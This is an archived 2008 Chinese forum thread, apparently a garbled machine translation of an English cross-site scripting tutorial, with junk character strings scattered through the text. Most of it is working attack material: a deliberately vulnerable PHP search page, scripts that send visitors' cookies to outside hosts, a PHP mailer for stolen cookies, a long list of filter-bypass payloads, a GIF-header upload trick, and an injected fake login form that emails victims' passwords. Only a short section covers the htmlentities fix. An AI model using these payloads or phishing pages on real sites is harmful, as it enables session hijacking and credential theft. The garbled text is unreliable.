跨站脚本－攻击和防御指向(页 1) - 网络安全区

LOK 发表于 2008-5-11 01:06

跨站脚本－攻击和防御指向

跨站脚本的脚本是一个浏览器，同时利用利用一个漏洞为基础的安全解决方案。这次袭击使内容（脚本），在无特权区被执行与权
Q"F| V{7{qF?
限的一个特权区-即一个特权升级与客户端（浏览器）执行脚本。这些漏洞有可能是：

* Web浏览器的漏洞，这在一定条件下，允许内容（脚本）在一个区被执行的权限的更高特权区。
* Web浏览器配置漏洞,不安全的站点在特定的区域被列出
* 特定的区域被跨站脚本攻击
,H7|3Dd:q R
用命令攻击要有如下两个步骤:a MV0H5]~A'Z
第一步,用一个跨站脚本攻击,得到在特定区域的代码执行权限.为了完成攻击,然后利用不安全的ActiveX控件,来在相应的电脑上做一
D2nv~0ZL dC
些恶意操作.
o_#bL^I
当这个攻击完成后,将有恶意软件(像蠕虫;远程控制软件)被悄悄的安装在被攻击者的电脑上、打开一些有危害的网页。

新建一个文本文档，把下面的代码放进：(AHJM0s8^
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-

transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>%s'Msm0H&e?p'{U
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
:FcQ~ Y*dL(WCPG+z
<style type="text/css">
E,iv0F2{n
</style><title>Simple XSS vulnerability by Xylitol</title>3M*z6[3Y3\J U4XG`+f
<body>
<form action="XSS.php" method="post">
<p align="center"><strong>Simple XSS vulnerability by Xylitol </strong></p>
<div align="center">
<table width="270" border="0">,{@zu5]m-I
<tr>
<td width="106"><strong>Search:</strong></td>
<td width="154"><input name="Vulnerability" type="text" id="Vulnerability" /></td>@Cg3NVk~
</tr>
</table>:L3DD:f:v
<table width="268" border="0">;q-e6A(L?AjW
<tr>;qM)WyB.Ln
<td width="262"><div align="center">z1iLl:\'u
<input name="submit" type="submit" value=" Search it ! " /> G ZI3rW-aIY
</div></td>
</tr>
</table>
</div>
</form>
</body>
</html>_*T{'GLJ1S
6LU^'vLV}
然后，把这个页面保存为index.html"s(uOt4K ]X!T
再新建一个文本文档，把下面的代码放进去：1I"~6x-SXf2C
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-x{-\C"~7Bd:vZ3D
transitional.dtd">)q\He)rh _-v'r
<html xmlns="http://www.w3.org/1999/xhtml">c,l,`g1k9@J
<head>r/nm t@$[)| |h$q8_v
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />"Sb#~au+j
<title>Search result:</title>5G`bcY8J
<style type="text/css"> H,ENFc6T?

</style></head>$kQBA%{J
<body>g&?7\i&F
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong> YR1s*^?4d!yv
</body>
</html>eY%_(i4cY.U

把文件另存为XSS.php

关闭记事本GJe:f_8{*}EW)g

在firefox里面打开index.html;h(n \yFT
输入一个值然后点search
返回页面输入
<script>alert('XSS')</script>}I_YX8O1e%{@

发送表单
弹出一个对话框
)x\q?eVwoWoG*Dw
XSS攻击这时产生了...
把这段代码插入到一个易受攻击的页面(如：留言板)
<script>(X0S?-a/G,uT,n
window.open("http://www.lovelaozang.cn/cookie.php?cookies="+document.cookie);Mb[6bB1f IM
</script>
(Ta Wv#k,MTTY F
([url]www.Hax0r.com[/url] = 你的网站)
打开记事本，把下面的代码放进去，另存为cookie.php5me)ico}xVC
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-sn gC f"Sq{%f
transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>3qyd/e pG6G,|]/O|
<style type="text/css">n-IW-LL_/d ge1u1L4]
,o#[Z"A2Z#z$b8~q;V
</style></head>
<? mail('email@example.com', 'Cookie stealed ! - thx xyli ', $cookies); ?>
<body>
<h2><strong>Error</strong> - <strong>Access denied</strong> for <? echo $_SERVER["REMOTE_ADDR"]; ?></h2>7N,k/S&pBD1R
</body>
</html>#u?U&?%L/l/z*yp

这对于攻击者还不够，等着还不如接收电子邮件。 OfFi\M(gW*]
DFG9r*\5KDw%?
修补漏洞：zJz9nBVtcz.m
为修复XSS漏洞使用htmlentities
RVwQv${7F'P4B
在第16行放置
<body>
<span class="alerte">Search result :</span> <strong><?php echo $_POST['Vulnerability']; ?></strong>
</body>r:e'L(d r%M#[ m
By:.mCR-qsJ^ S
<body>uwSZl9B
<span class="alerte">Search result :</span> <strong><?phpk7k4QHI
if(isset($_POST['Vulnerability'])) { echo htmlentities($_POST['Vulnerability']); } ?></strong>3vj}5A/A!?!s
</body>JVO{^U{3k
use htmlspecialchars() function in PHPh$k-UD"Oxiq7f
&\qx g;\ x} `V
other function:
htmlentities() quotes
strip_tags()
...
____ ____
7e[WyiE!w'n
要想进行一个XSS攻击是相当简单的事情，这里有些常用的方法：

利用image:
<IMG SRC="http://lovelaozang.cn/xss.png">L+]*]0i*q1p}9r
利用flash:)h2hFl\
<EMBED SRC="http://hax0r.com/Haxored.swf">
^8JUop(HY
重定向:9n(uVc0BOd
<script>window.open( "http://lovelaozang.cn/xss.html" )</script>

LOK 发表于 2008-5-11 01:06

还有:f#]i'w,wx+U/q
<meta http-equiv="refresh" content="0; url=http://lovelaozang.cn/xss.html" />H/M(hc4j s'IR O
W-h2jB5X ]@xLW
____ ____iF*C'jX
/ / \ \
______/ /_____________________________________\ \______
| / / \ \ |IK5K!O$M2hkc
| / /.:Chapter 6 - 过滤绕过 :.\ \ |
|___/ /___________________________________________\ \___|
/ / \ \
/___/ \___\M&_+o&ju~)w"h

事实上也不是那么简单就能绕过^T/C't5J6F
htmlspecialchars()

这里有一些关于绕过xss的例子:
<META HTTP-EQUIV=\"refresh\" CONTENT=\"0;URL=http://;URL=javascript:alert('XSS');\">vnN?b
<META HTTP-EQUIV=\"refresh\"CONTENT=\"0;url=javascript:alert('XSS');\">'H%k]3t1Acn!fM
'">><marquee><h1>XSS</h1></marquee>OB/w)_1{9SJE;m5n3p
S8]"T7?Ki)K0Jl(D
'">><script>alert('XSS')</script>

'>><marquee><h1>XSS</h1></marquee>

"><script alert(String.fromCharCode(88,83,83))</script>H&y-z"tyz*r
|1d9igq1HM)M
<iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>

<div8q0fIs[TH^
style="x:expression((window.r==1)?'':eval('r=1;alert(String.fromCharCo
de(88,83,83));'))">

window.alert("Xyli !";
]F@'f-BJ,p(XCq
"/></a></><img src=1.gif onerror=alert(1)>z-sj-d n"Y'n?p
F%[XYV.}f;Hl
[color=red' onmouseover="alert('xss')"]mouse over\Y7vNF4F][C
#zwT#x+Wus\
<body onLoad="alert('XSS');"

<body onunload="javascript:alert('XSS');">
3VIw0o&s
click me
'k/o!pPLhp+dw
<script language="JavaScript">alert('XSS')</script>

<img src="javascript:alert('XSS')">Ge;A/I7NK9YN
#wROK H/G.Vj5y
'); alert('XSS

<font style='color:expression(alert(document.cookie))'>

<IMG DYNSRC=\"javascript:alert('XSS')\">z[+j2KH.W p

<IMG LOWSRC=\"javascript:alert('XSS')\">

</textarea><script>alert(/xss/)</script>
g$m8m,L7f
</title><script>alert(/xss/)</script>

<script src=http://yoursite.com/your_files.js></script>
l3ZH8lj
"><script>alert(0)</script>
jWYEGyuW
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
hh2[j(XE6gJyX[\
<IMG SRC=\"jav ascript:alert('XSS');\">
*h}.fqZ
<IMG SRC=\"jav ascript:alert('XSS');\">(G)^R j-Ipk
8P^it&bj-un0dq
<IMG SRC=\"jav ascript:alert('XSS');\">

<marquee><script>alert('XSS')</script></marquee>ivz'cn3w

<? echo('<scr)';
echo('ipt>alert(\"XSS\"</script>'); ?>

<IMG SRC=\"jav ascript:alert('XSS');\">/C^NG8~\
-ue.g\Csx
<IMG SRC=\"jav ascript:alert('XSS');\">8pf6B)h)g&x3{
Z,}-D!p2b f|Po
<marquee><script>alert('XSS')</script></marquee>F T%h:jM&I a q

<style>@im\port'\ja\vasc\ript:alert(\"XSS\"';</style>
&Rz,a(}"A R(Xf4r
<img src=foo.png onerror=alert(/xssed/) />
-}l*\.zX Y"A$ls
<script>alert(String.fromCharCode(88,83,83))</script>

<scr<script>ipt>alert('XSS');</scr</script>ipt>^_K&s$N\*a#O_hq
E7{.Cs.TICa{
<script>location.href="http://www.evilsite.org/cookiegrabber.php?cookie="+
escape(document.cookie)</script>

<script src="http://www.evilsite.org/cookiegrabber.php"></script>

<script>alert('XSS');</script>.wZ~]7lYC)vY8c0o

<script>alert(1);</script>&\%l.E5y/Zw0t
~E;a.VAw(`\l
Flash是用来做复杂的动画，模拟的，创造游戏等。

getURL()这个函数是有趣的，可以用来我们的攻击。这个函数可以帮我们改变最终用户到其它页面。

它的语法是这样的：v-YB)C&k4WYr#l}
getURL(url:String, [window: String,[method:String]])
Q(i.y0h#j6[3~%W
如:,N%~:f5l'X
getURL("http://lovelaozang.cn/login.php?logout=true","_self";

url: 网站的地址CByDEH#O:Ls2O
window: 指定框架要求(_self, _blank…):Xm#hhD8hD)f
R2vO%nNAp7[/f
method: 请求方法 GET or POST (by defect GET)
{I0^8URkb
这里的处理动作和JavaScript以发布警报：
getURL("javascript:alert('XSS'";?&i9_9e2I%vkK4[6\
C*dF(p;RC
在2002年表现出这种形式的危险
这种方式是一种可以发送用户的cookie的;
getURL("javascript:alert(document.cookie)"

在2005年12月，开辟新的途径，并出现构成已受益于两年前XSS和可能性，把一个文件Flash放在签名中，以提供一个永久性跨站脚本m5@.F*m ?:g#@
m,r{+@-n5vNf
攻击此外，作者的这种另类使用的技术，以便传给公司，以背离蠕虫着XSS的德萨米：Samy 重装上阵

用flash窃取cookie?
不是，但有技术的做:
如:
在一个FLASH文件:
GetURL("http://www.victime.com/page.php?var=<script src='http://www.lvoelaozang.cn/hack.js'></script>","_self";2F_;d'_9aq

在这个hack.js文件里面有如下代码:r#V+Z*`$I z
document.location="http://hax0r.com/cookiestealer.php?cookie="+document.cookie;b.jF!R&M8E2o)B

这个解决方法很简单:就是禁止flash文件在你的WEB应用上使用./rLewhiu(i3S
?9Z&T5wPR
兴个例子,我们来新建一个hack.gif文件.然后用记事本打开文件,删除所有的内容,然后写入代码
GIF89a<script>alert("XSS"</script>a p5a^0]m5fxPH
(Ix:}0Xus)u nHc
保存退出.Db4Rss&dP
上传hack.gif到相就的地方...此时跨站发生f]r8n'm&SV6p
不要用Mozillia Firefox来访问那张图片,Mozillia 不会执行我们的alert.要用Internet explorer.E&L/\ S:_!sF8l/w

为什么添加GIF89a ?MHc8F9]Os5T
因为很多上传程序会来检查我们的gif文件是否包含 'GIF89a',如果包括则认为是gif文件.
GIF89a<script src="http://lovelaozang.cn/cookiegrabber.php"></script>

我们需要知道一些其它格式图片,头部所包含的代码.uX @S'@ji
-z8HR]$e_w%nw
PNG = ‰PNG
GIF = GIF89a
JPG = ÿØÿà JFIFUA,|c/B5Vz
BMP = BMFÖ
Nb!m2?g M(c
为了安全不要仅仅只检查getimagesize()
8H9K X/W-T$SgU
你是否明白什么是钓鱼？什么是XSS？

在这个例子里，有必需找到一个易受攻击的网站去XSS并注入那里，身于一种形式，以自己直接在网址以下代码:eTV`;{K7T[
<p>Enter your login and password, thank:</p>
<form action="http://hax0r.com/mail.php">\9ArpqX(r
<table><tr><td>Login:</td><td><input type=text length=20 name=login>
</td></tr><tr><td>assword:</td><td>_,`Fow~
<input type=text length=20 name=password>
</td></tr></table><input type=submit value= OK >
</form>

这个通过这个模仿的表单，然后利用mail.php通过电子邮件把表单里的数据发送给你。:h3P7VfU-|:Dg
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-
transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head> ^W5vfiz"L_B
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" />
<title>Error</title>
<style type="text/css">
f]7Q#wW[8{TYl
</style></head>sn)U1o%spvJ0@mW
<?phpj? R3C!Fm
$login = $HTTP_GET_VARS["login"];
$password = $HTTP_GET_VARS["password"];
mail("email@example.com", "Cookie stealed ! - thx xyli ", $password , $login );
?>_'w/F`FHX1Y#P
<body>
<h2><strong>Error</strong> -<strong> Server too much busy</strong></h2> U*s oM'J%{2Z+Knh9i
</body>
</html> K~lD8y+W`5f:Q

用户会认为，服务器可能超过了负载，并不会怀疑

紀亊夲 发表于 2008-5-11 10:40

不错，支持一下！

hi363936517 发表于 2008-5-17 08:41

呵呵,同甘共苦

a4076 发表于 2008-5-17 08:56

楼主辛苦··！！

页: [1]

我爱电脑技术论坛's Archiver

跨站脚本－攻击和防御指向